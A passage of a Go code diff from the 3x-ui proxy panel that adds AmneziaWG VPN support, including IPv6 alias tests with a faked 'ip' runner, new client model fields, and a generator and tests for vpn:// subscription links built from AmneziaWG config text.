+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+func peerWithIPs(email string, ips ...string) amneziawg.Peer {
+ return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips}
+}
+
+func instV6(enabled bool, extIface, v6ExtIface string, peers ...amneziawg.Peer) amneziawg.Instance {
+ return amneziawg.Instance{
+ Id: 1,
+ IPv6Enabled: enabled,
+ ExternalInterface: extIface,
+ IPv6ExternalInterface: v6ExtIface,
+ Peers: peers,
+ }
+}
+
+func TestV6AliasesActive(t *testing.T) {
+ cases := []struct {
+ name string
+ inst amneziawg.Instance
+ want bool
+ }{
+ {"enabled with interface", instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), true},
+ {"enabled, IPv6ExternalInterface only", instV6(true, "", "eth1", peerWithIPs("a@x", "fd86::2/128")), true},
+ {"disabled", instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), false},
+ {"enabled, no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128")), false},
+ }
+ for _, c := range cases {
+ if got := V6AliasesActive(c.inst); got != c.want {
+ t.Errorf("%s: V6AliasesActive = %v, want %v", c.name, got, c.want)
+ }
+ }
+}
+
+func TestDesiredV6AliasesDisabledOrNoInterfaceReturnsEmpty(t *testing.T) {
+ cases := []struct {
+ name string
+ inst amneziawg.Instance
+ }{
+ {"IPv6Enabled false", instV6(false, "", "eth0", peerWithIPs("a@x", "fd86::2/128"))},
+ {"no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128"))},
+ }
+ for _, c := range cases {
+ if got := desiredV6Aliases(c.inst); len(got) != 0 {
+ t.Errorf("%s: desiredV6Aliases = %v, want empty", c.name, got)
+ }
+ }
+}
+
+func TestDesiredV6AliasesFallsBackToExternalInterface(t *testing.T) {
+ inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+ got := desiredV6Aliases(inst)
+ if got["a@x"].Iface != "eth0" {
+ t.Fatalf("expected fallback to ExternalInterface eth0, got %+v", got)
+ }
+
+ inst2 := instV6(true, "eth0", "eth1", peerWithIPs("a@x", "fd86::2/128"))
+ got2 := desiredV6Aliases(inst2)
+ if got2["a@x"].Iface != "eth1" {
+ t.Fatalf("expected IPv6ExternalInterface eth1 to win over ExternalInterface, got %+v", got2)
+ }
+}
+
+func TestDesiredV6AliasesSkipsPeersWithoutEmailOrV6Address(t *testing.T) {
+ inst := instV6(true, "eth0", "",
+ peerWithIPs("", "fd86::2/128"), // no email
+ peerWithIPs("b@x", "10.8.1.2/32"), // v4 only, no v6
+ peerWithIPs("c@x", "fd86::3/128"), // qualifies
+ )
+ got := desiredV6Aliases(inst)
+ if len(got) != 1 {
+ t.Fatalf("desiredV6Aliases = %+v, want exactly one entry (c@x)", got)
+ }
+ if _, ok := got["c@x"]; !ok {
+ t.Fatalf("desiredV6Aliases = %+v, want c@x present", got)
+ }
+}
+
+func TestDiffV6AliasesNoOpWhenUnchanged(t *testing.T) {
+ inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+ add, remove := diffV6Aliases(inst, inst)
+ if len(add) != 0 || len(remove) != 0 {
+ t.Fatalf("expected no-op for an unchanged instance, got add=%v remove=%v", add, remove)
+ }
+}
+
+func TestDiffV6AliasesBrandNewInstanceIsAddOnly(t *testing.T) {
+ newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+ add, remove := diffV6Aliases(amneziawg.Instance{}, newInst)
+ if len(remove) != 0 {
+ t.Fatalf("expected no removals for a brand new instance, got %v", remove)
+ }
+ if len(add) != 2 {
+ t.Fatalf("expected both peers added, got %v", add)
+ }
+}
+
+func TestDiffV6AliasesTornDownInstanceIsRemoveOnly(t *testing.T) {
+ oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+ add, remove := diffV6Aliases(oldInst, amneziawg.Instance{})
+ if len(add) != 0 {
+ t.Fatalf("expected no adds when tearing down, got %v", add)
+ }
+ if len(remove) != 2 {
+ t.Fatalf("expected both peers removed, got %v", remove)
+ }
+}
+
+func TestDiffV6AliasesIPv6EnabledToggledOffRemovesAllAddsNone(t *testing.T) {
+ oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+ newInst := instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // same peers, feature disabled
+ add, remove := diffV6Aliases(oldInst, newInst)
+ if len(add) != 0 {
+ t.Fatalf("expected no adds when IPv6Enabled is toggled off, got %v", add)
+ }
+ if len(remove) != 1 {
+ t.Fatalf("expected the previously-aliased peer removed, got %v", remove)
+ }
+}
+
+func TestDiffV6AliasesAddressChangeForSamePeerIsRemoveOldAddNew(t *testing.T) {
+ oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+ newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::99/128"))
+ add, remove := diffV6Aliases(oldInst, newInst)
+ if len(add) != 1 || add[0].Addr != "fd86::99" {
+ t.Fatalf("expected new address added, got %v", add)
+ }
+ if len(remove) != 1 || remove[0].Addr != "fd86::2" {
+ t.Fatalf("expected old address removed, got %v", remove)
+ }
+}
+
+func TestDiffV6AliasesInterfaceChangeReAliasesUnchangedPeers(t *testing.T) {
+ oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+ newInst := instV6(true, "eth1", "", peerWithIPs("a@x", "fd86::2/128")) // same address, interface moved
+ add, remove := diffV6Aliases(oldInst, newInst)
+ if len(add) != 1 || add[0].Iface != "eth1" {
+ t.Fatalf("expected re-add on the new interface, got %v", add)
+ }
+ if len(remove) != 1 || remove[0].Iface != "eth0" {
+ t.Fatalf("expected removal from the old interface, got %v", remove)
+ }
+}
+
+func TestDiffV6AliasesPeerRemovedFromInstanceIsRemoveOnly(t *testing.T) {
+ oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+ newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // b@x removed
+ add, remove := diffV6Aliases(oldInst, newInst)
+ if len(add) != 0 {
+ t.Fatalf("expected no adds, got %v", add)
+ }
+ if len(remove) != 1 || remove[0].Addr != "fd86::3" {
+ t.Fatalf("expected only b@x's address removed, got %v", remove)
+ }
+}
+
+// --- exec-layer tests: swap runIP, never invoke a real ip binary ---
+
+func withFakeRunIP(t *testing.T, fn func(ctx context.Context, args ...string) (string, error)) *[][]string {
+ t.Helper()
+ var calls [][]string
+ orig := runIP
+ runIP = func(ctx context.Context, args ...string) (string, error) {
+ calls = append(calls, append([]string(nil), args...))
+ return fn(ctx, args...)
+ }
+ t.Cleanup(func() { runIP = orig })
+ return &calls
+}
+
+func TestAddV6AliasPassesExpectedArgs(t *testing.T) {
+ calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "", nil
+ })
+ addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+ if len(*calls) != 1 {
+ t.Fatalf("expected exactly one runIP call, got %d", len(*calls))
+ }
+ want := []string{"-6", "addr", "add", "fd86::2/128", "dev", "eth0", "nodad"}
+ got := (*calls)[0]
+ if len(got) != len(want) {
+ t.Fatalf("args = %v, want %v", got, want)
+ }
+ for i := range want {
+ if got[i] != want[i] {
+ t.Fatalf("args = %v, want %v", got, want)
+ }
+ }
+}
+
+func TestAddV6AliasFileExistsIsSwallowed(t *testing.T) {
+ withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "RTNETLINK answers: File exists", errors.New("exit status 2")
+ })
+ // Must not panic and must return normally -- there is nothing else to
+ // assert on since addV6Alias has no return value, matching this
+ // codebase's existing best-effort exec-call conventions (no test in
+ // this repo asserts on logger output for a swallowed vs. warned
+ // classification; see internal/web/service/server.go's own untested
+ // exec.CommandContext call sites).
+ addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestAddV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+ withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "RTNETLINK answers: Cannot find device \"eth9\"", errors.New("exit status 1")
+ })
+ addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth9"})
+}
+
+func TestRemoveV6AliasPassesExpectedArgs(t *testing.T) {
+ calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "", nil
+ })
+ removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+ want := []string{"-6", "addr", "del", "fd86::2/128", "dev", "eth0"}
+ got := (*calls)[0]
+ if len(got) != len(want) {
+ t.Fatalf("args = %v, want %v", got, want)
+ }
+ for i := range want {
+ if got[i] != want[i] {
+ t.Fatalf("args = %v, want %v", got, want)
+ }
+ }
+}
+
+func TestRemoveV6AliasAddressAlreadyGoneIsSwallowed(t *testing.T) {
+ withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "RTNETLINK answers: Cannot assign requested address", errors.New("exit status 2")
+ })
+ removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasDeviceAlreadyGoneIsSwallowed(t *testing.T) {
+ withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "Cannot find device \"eth0\"", errors.New("exit status 1")
+ })
+ removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+ withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ return "some unrelated failure", errors.New("exit status 1")
+ })
+ removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestApplyV6AliasesAddsBeforeRemoves(t *testing.T) {
+ var order []string
+ calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+ if args[2] == "add" {
+ order = append(order, "add")
+ } else {
+ order = append(order, "del")
+ }
+ return "", nil
+ })
+ applyV6Aliases(
+ []v6Alias{{Addr: "fd86::99", Iface: "eth0"}},
+ []v6Alias{{Addr: "fd86::2", Iface: "eth0"}},
+ )
+ if len(*calls) != 2 {
+ t.Fatalf("expected exactly 2 calls, got %d", len(*calls))
+ }
+ if order[0] != "add" || order[1] != "del" {
+ t.Fatalf("expected add before del, got order=%v", order)
+ }
+}
diff --git a/internal/database/model/model.go b/internal/database/model/model.go
index 814a75700..5e2db9dc8 100644
--- a/internal/database/model/model.go
+++ b/internal/database/model/model.go
@@ -32,6 +32,7 @@ const (
WireGuard Protocol = "wireguard"
Hysteria Protocol = "hysteria"
MTProto Protocol = "mtproto"
+ AmneziaWG Protocol = "amneziawg"
)
// User represents a user account in the 3x-ui panel.
@@ -61,7 +62,7 @@ type Inbound struct {
// Xray configuration fields
Listen string `json:"listen" form:"listen"`
Port int `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
- Protocol Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto" example:"vless"`
+ Protocol Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto amneziawg" example:"vless"`
Settings string `json:"settings" form:"settings"`
StreamSettings string `json:"streamSettings" form:"streamSettings"`
Tag string `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
@@ -871,31 +872,40 @@ type ClientReverse struct {
// Client represents a client configuration for Xray inbounds with traffic limits and settings.
type Client struct {
- ID string `json:"id,omitempty"` // Unique client identifier
- Security string `json:"security"` // Security method (e.g., "auto", "aes-128-gcm")
- Password string `json:"password,omitempty"` // Client password
- Flow string `json:"flow,omitempty"` // Flow control (XTLS)
- Reverse *ClientReverse `json:"reverse,omitempty"` // VLESS simple reverse proxy settings
- Auth string `json:"auth,omitempty"` // Auth password (Hysteria)
- PrivateKey string `json:"privateKey,omitempty"`
- PublicKey string `json:"publicKey,omitempty"`
- AllowedIPs []string `json:"allowedIPs,omitempty"`
- PreSharedKey string `json:"preSharedKey,omitempty"`
- KeepAlive int `json:"keepAlive,omitempty"`
- Secret string `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
- AdTag string `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
- Email string `json:"email"` // Client email identifier
- LimitIP int `json:"limitIp"` // IP limit for this client
- TotalGB int64 `json:"totalGB" form:"totalGB"` // Total traffic limit in GB
- ExpiryTime int64 `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
- Enable bool `json:"enable" form:"enable"` // Whether the client is enabled
- TgID int64 `json:"tgId" form:"tgId"` // Telegram user ID for notifications
- SubID string `json:"subId" form:"subId"` // Subscription identifier
- Group string `json:"group,omitempty" form:"group"` // Logical grouping label
- Comment string `json:"comment" form:"comment"` // Client comment
- Reset int `json:"reset" form:"reset"` // Reset period in days
- ResetDay int `json:"resetDay" form:"resetDay"` // Calendar renewal day 1-31, 0 = interval mode
- ResetMax int `json:"resetMax" form:"resetMax"` // Max auto-renew count, 0 = unlimited
+ ID string `json:"id,omitempty"` // Unique client identifier
+ Security string `json:"security"` // Security method (e.g., "auto", "aes-128-gcm")
+ Password string `json:"password,omitempty"` // Client password
+ Flow string `json:"flow,omitempty"` // Flow control (XTLS)
+ Reverse *ClientReverse `json:"reverse,omitempty"` // VLESS simple reverse proxy settings
+ Auth string `json:"auth,omitempty"` // Auth password (Hysteria)
+ PrivateKey string `json:"privateKey,omitempty"`
+ PublicKey string `json:"publicKey,omitempty"`
+ AllowedIPs []string `json:"allowedIPs,omitempty"`
+ // AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound
+ // basis, keyed by inbound id. Lets one identity attached to both
+ // WireGuard and AmneziaWG carry two genuinely different addresses in a
+ // single Create/Update call instead of the shared AllowedIPs field
+ // being broadcast to every attached tunnel inbound. Absent/unset for a
+ // given inbound id falls back to the shared AllowedIPs exactly as
+ // before -- fully backward compatible for callers that never set this.
+ AllowedIPsByInbound map[int][]string `json:"allowedIPsByInbound,omitempty"`
+ PreSharedKey string `json:"preSharedKey,omitempty"`
+ KeepAlive int `json:"keepAlive,omitempty"`
+ ForwardedPorts string `json:"forwardedPorts,omitempty"` // AmneziaWG per-client port-forwarding spec, e.g. "80,443,8000-8100"
+ Secret string `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
+ AdTag string `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
+ Email string `json:"email"` // Client email identifier
+ LimitIP int `json:"limitIp"` // IP limit for this client
+ TotalGB int64 `json:"totalGB" form:"totalGB"` // Total traffic limit in GB
+ ExpiryTime int64 `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
+ Enable bool `json:"enable" form:"enable"` // Whether the client is enabled
+ TgID int64 `json:"tgId" form:"tgId"` // Telegram user ID for notifications
+ SubID string `json:"subId" form:"subId"` // Subscription identifier
+ Group string `json:"group,omitempty" form:"group"` // Logical grouping label
+ Comment string `json:"comment" form:"comment"` // Client comment
+ Reset int `json:"reset" form:"reset"` // Reset period in days
+ ResetDay int `json:"resetDay" form:"resetDay"` // Calendar renewal day 1-31, 0 = interval mode
+ ResetMax int `json:"resetMax" form:"resetMax"` // Max auto-renew count, 0 = unlimited
// Per-client traffic reset cycle, independent of the inbound's own (#5497).
TrafficReset string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
TrafficResetDay int `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
@@ -918,6 +928,7 @@ type ClientRecord struct {
AllowedIPs string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
PreSharedKey string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
KeepAlive int `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
+ ForwardedPorts string `json:"forwardedPorts" gorm:"column:wg_forwarded_ports"`
Secret string `json:"secret" gorm:"column:secret"`
AdTag string `json:"adTag" gorm:"column:ad_tag;default:''"`
LimitIP int `json:"limitIp" gorm:"column:limit_ip"`
@@ -1126,13 +1137,14 @@ func (c *Client) ToRecord() *ClientRecord {
CreatedAt: c.CreatedAt,
UpdatedAt: c.UpdatedAt,
- PrivateKey: c.PrivateKey,
- PublicKey: c.PublicKey,
- AllowedIPs: strings.Join(c.AllowedIPs, ","),
- PreSharedKey: c.PreSharedKey,
- KeepAlive: c.KeepAlive,
- Secret: c.Secret,
- AdTag: c.AdTag,
+ PrivateKey: c.PrivateKey,
+ PublicKey: c.PublicKey,
+ AllowedIPs: strings.Join(c.AllowedIPs, ","),
+ PreSharedKey: c.PreSharedKey,
+ KeepAlive: c.KeepAlive,
+ ForwardedPorts: c.ForwardedPorts,
+ Secret: c.Secret,
+ AdTag: c.AdTag,
}
if c.Reverse != nil {
if b, err := json.Marshal(c.Reverse); err == nil {
@@ -1183,13 +1195,14 @@ func (r *ClientRecord) ToClient() *Client {
CreatedAt: r.CreatedAt,
UpdatedAt: r.UpdatedAt,
- PrivateKey: r.PrivateKey,
- PublicKey: r.PublicKey,
- AllowedIPs: splitWireguardAllowedIPs(r.AllowedIPs),
- PreSharedKey: r.PreSharedKey,
- KeepAlive: r.KeepAlive,
- Secret: r.Secret,
- AdTag: r.AdTag,
+ PrivateKey: r.PrivateKey,
+ PublicKey: r.PublicKey,
+ AllowedIPs: splitWireguardAllowedIPs(r.AllowedIPs),
+ PreSharedKey: r.PreSharedKey,
+ KeepAlive: r.KeepAlive,
+ ForwardedPorts: r.ForwardedPorts,
+ Secret: r.Secret,
+ AdTag: r.AdTag,
}
if r.Reverse != "" {
var rev ClientReverse
@@ -1409,6 +1422,12 @@ func MergeClientRecord(existing *ClientRecord, incoming *ClientRecord) []ClientM
existing.KeepAlive = incoming.KeepAlive
}
}
+ if existing.ForwardedPorts != incoming.ForwardedPorts && incoming.ForwardedPorts != "" {
+ if incomingNewer || existing.ForwardedPorts == "" {
+ keep("forwardedPorts", existing.ForwardedPorts, incoming.ForwardedPorts, incoming.ForwardedPorts)
+ existing.ForwardedPorts = incoming.ForwardedPorts
+ }
+ }
if existing.Comment != incoming.Comment && incoming.Comment != "" {
if incomingNewer || existing.Comment == "" {
keep("comment", existing.Comment, incoming.Comment, incoming.Comment)
diff --git a/internal/sub/json_service.go b/internal/sub/json_service.go
index 7ce537a5f..15cd824c0 100644
--- a/internal/sub/json_service.go
+++ b/internal/sub/json_service.go
@@ -694,7 +694,8 @@ func jsonMux(global, override string) string {
func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
outbound := Outbound{
Protocol: string(inbound.Protocol),
- Tag: "proxy"}
+ Tag: "proxy",
+ }
if mux != "" {
outbound.Mux = json_util.RawMessage(mux)
}
@@ -797,7 +798,8 @@ func (s *SubJsonService) genServer(subReq *SubService, inbound *model.Inbound, s
func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
outbound := Outbound{
Protocol: string(inbound.Protocol),
- Tag: "proxy"}
+ Tag: "proxy",
+ }
if mux != "" {
outbound.Mux = json_util.RawMessage(mux)
diff --git a/internal/sub/service.go b/internal/sub/service.go
index b72c7f266..753895255 100644
--- a/internal/sub/service.go
+++ b/internal/sub/service.go
@@ -18,6 +18,7 @@ import (
"github.com/gin-gonic/gin"
"github.com/goccy/go-json"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -483,7 +484,7 @@ func (s *SubService) getInboundsBySubId(subId string) ([]*model.Inbound, error)
JOIN client_inbounds ON client_inbounds.inbound_id = inbounds.id
JOIN clients ON clients.id = client_inbounds.client_id
WHERE
- inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','mtproto')
+ inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','amneziawg','mtproto')
AND clients.sub_id = ? AND inbounds.enable = ?
)`, subId, true).Order("sub_sort_index ASC").Order("id ASC").Find(&inbounds).Error
if err != nil {
@@ -634,6 +635,8 @@ func (s *SubService) GetLink(inbound *model.Inbound, email string) string {
return s.genMtprotoLink(inbound, email)
case "wireguard":
return s.genWireguardLink(inbound, email)
+ case "amneziawg":
+ return s.genAmneziaWGLink(inbound, email)
}
return ""
}
@@ -680,6 +683,136 @@ func (s *SubService) genWireguardLink(inbound *model.Inbound, email string) stri
return buildLinkWithParams(link, params, s.genRemark(inbound, email, "", ""))
}
+// amneziaWGHeaderOrDefault mirrors the frontend's amneziaWGHLine: AmneziaWG's
+// H1-H4 magic-header fields always render into the config text, falling back
+// to their protocol-default values (1/2/3/4) when unset rather than being
+// omitted, since a native AmneziaWG client needs all four to be present.
+func amneziaWGHeaderOrDefault(value, fallback string) string {
+ if strings.TrimSpace(value) == "" {
+ return fallback
+ }
+ return value
+}
+
+// amneziaWGConfigText builds the same plain AmneziaWG client .conf text the
+// frontend's genAmneziaWGConfig produces (same field order, same optional-field
+// conditionals) -- this is the payload wrapped into vpn:// links below.
+func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
+ // These land unescaped in [Interface]; a newline here would inject a
+ // config line (e.g. a rogue PostUp) into the subscriber's .conf.
+ for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
+ if strings.ContainsAny(v, "\r\n") {
+ return ""
+ }
+ }
+
+ var b strings.Builder
+
+ b.WriteString("[Interface]\n")
+ fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
+ fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
+
+ var dns []string
+ if server.PrimaryDNS != "" {
+ dns = append(dns, server.PrimaryDNS)
+ }
+ if server.SecondaryDNS != "" {
+ dns = append(dns, server.SecondaryDNS)
+ }
+ if len(dns) > 0 {
+ fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
+ }
+ if server.MTU > 0 {
+ fmt.Fprintf(&b, "MTU = %d\n", server.MTU)
+ }
+
+ fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
+ fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
+ fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
+ fmt.Fprintf(&b, "S1 = %d\n", server.S1)
+ fmt.Fprintf(&b, "S2 = %d\n", server.S2)
+ if server.S3 > 0 {
+ fmt.Fprintf(&b, "S3 = %d\n", server.S3)
+ }
+ if server.S4 > 0 {
+ fmt.Fprintf(&b, "S4 = %d\n", server.S4)
+ }
+ fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
+ fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
+ fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
+ fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
+ for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
+ if v != "" {
+ fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
+ }
+ }
+ optional := []struct{ key, v string }{
+ {"HeaderProtectionKey", server.HeaderProtectionKey},
+ {"ContentPaddingAddition", server.ContentPaddingAddition},
+ {"RekeyAfterTime", server.RekeyAfterTime},
+ {"RekeyTimeout", server.RekeyTimeout},
+ {"RejectAfterTime", server.RejectAfterTime},
+ {"KeepaliveTimeout", server.KeepaliveTimeout},
+ {"MaxHandshakeAttempts", server.MaxHandshakeAttempts},
+ }
+ for _, p := range optional {
+ if p.v != "" {
+ fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
+ }
+ }
+ if server.RandomTrailers {
+ b.WriteString("RandomTrailers = on\n")
+ }
+ if server.DisableCookies {
+ b.WriteString("DisableCookies = on\n")
+ }
+
+ // Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
+ // emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
+ // independent implementations, so any drift here is invisible until a user
+ // compares a subscription link against a downloaded .conf.
+ fmt.Fprintf(&b, "\n# %s\n", remark)
+ b.WriteString("[Peer]\n")
+ fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
+ if client.PreSharedKey != "" {
+ fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
+ }
+ b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
+ fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
+ if client.KeepAlive > 0 {
+ fmt.Fprintf(&b, "\nPersistentKeepalive = %d", client.KeepAlive)
+ }
+
+ return b.String()
+}
+
+// genAmneziaWGLink builds a per-client vpn:// share
+// link matching the real AmneziaVPN app's own share-link scheme (see the
+// frontend's genAmneziaWGLink for the confirmed import-path reasoning).
+// Returns "" when the client or server has no key.
+func (s *SubService) genAmneziaWGLink(inbound *model.Inbound, email string) string {
+ if inbound.Protocol != model.AmneziaWG {
+ return ""
+ }
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
+ return ""
+ }
+ server := parsed.Server
+
+ resolved, ok := s.clientForLink(inbound, email)
+ if !ok || resolved.PrivateKey == "" {
+ return ""
+ }
+ client := &resolved
+
+ text := amneziaWGConfigText(server, client, s.resolveInboundAddress(inbound), inbound.Port, s.genRemark(inbound, email, "", ""))
+ if text == "" {
+ return ""
+ }
+ return "vpn://" + base64.RawURLEncoding.EncodeToString([]byte(text))
+}
+
// genMtprotoLink builds a per-client Telegram proxy deep link for an mtproto
// inbound: the server/port pair plus the client's own FakeTLS secret. The link
// carries no remark fragment — Telegram proxy deep links have no name field, and
diff --git a/internal/sub/service_amneziawg_test.go b/internal/sub/service_amneziawg_test.go
new file mode 100644
index 000000000..bfd10e244
--- /dev/null
+++ b/internal/sub/service_amneziawg_test.go
@@ -0,0 +1,277 @@
+package sub
+
+import (
+ "encoding/base64"
+ "slices"
+ "strings"
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/database"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+ wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
+// base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
+// app as a flat "Key = Value" bag (confirmed by reading its own source).
+func TestGenAmneziaWGLinkFields(t *testing.T) {
+ serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("keypair: %v", err)
+ }
+ clientPriv, _, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("client keypair: %v", err)
+ }
+
+ inbound := &model.Inbound{
+ Listen: "203.0.113.7",
+ Port: 51820,
+ Protocol: model.AmneziaWG,
+ Remark: "awg-sub",
+ Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
+ `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
+ }
+
+ s := &SubService{}
+ link := s.genAmneziaWGLink(inbound, "user")
+
+ if !strings.HasPrefix(link, "vpn://") {
+ t.Fatalf("link = %q, want vpn:// prefix", link)
+ }
+ raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
+ if err != nil {
+ t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
+ }
+ text := string(raw)
+
+ for _, want := range []string{
+ "[Interface]",
+ "PrivateKey = " + clientPriv,
+ "Address = 10.8.1.2/32",
+ "MTU = 1420",
+ "DNS = 8.8.8.8",
+ "[Peer]",
+ "PublicKey = " + serverPub,
+ "Endpoint = 203.0.113.7:51820",
+ "PersistentKeepalive = 25",
+ } {
+ if !strings.Contains(text, want) {
+ t.Fatalf("decoded config missing %q\n got: %s", want, text)
+ }
+ }
+
+ // The server block sets none of the 3.1 fields: none may leak into the
+ // client config (a lone HeaderProtectionKey would break the handshake).
+ for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
+ if strings.Contains(text, absent) {
+ t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
+ }
+ }
+}
+
+// TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
+// their order in the decoded vpn:// payload — client and server configs must
+// carry the identical parameter block for the tunnel to work.
+func TestGenAmneziaWGLink31Fields(t *testing.T) {
+ serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("keypair: %v", err)
+ }
+ clientPriv, _, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("client keypair: %v", err)
+ }
+
+ inbound := &model.Inbound{
+ Listen: "203.0.113.7",
+ Port: 51820,
+ Protocol: model.AmneziaWG,
+ Remark: "awg-31",
+ Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
+ `"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
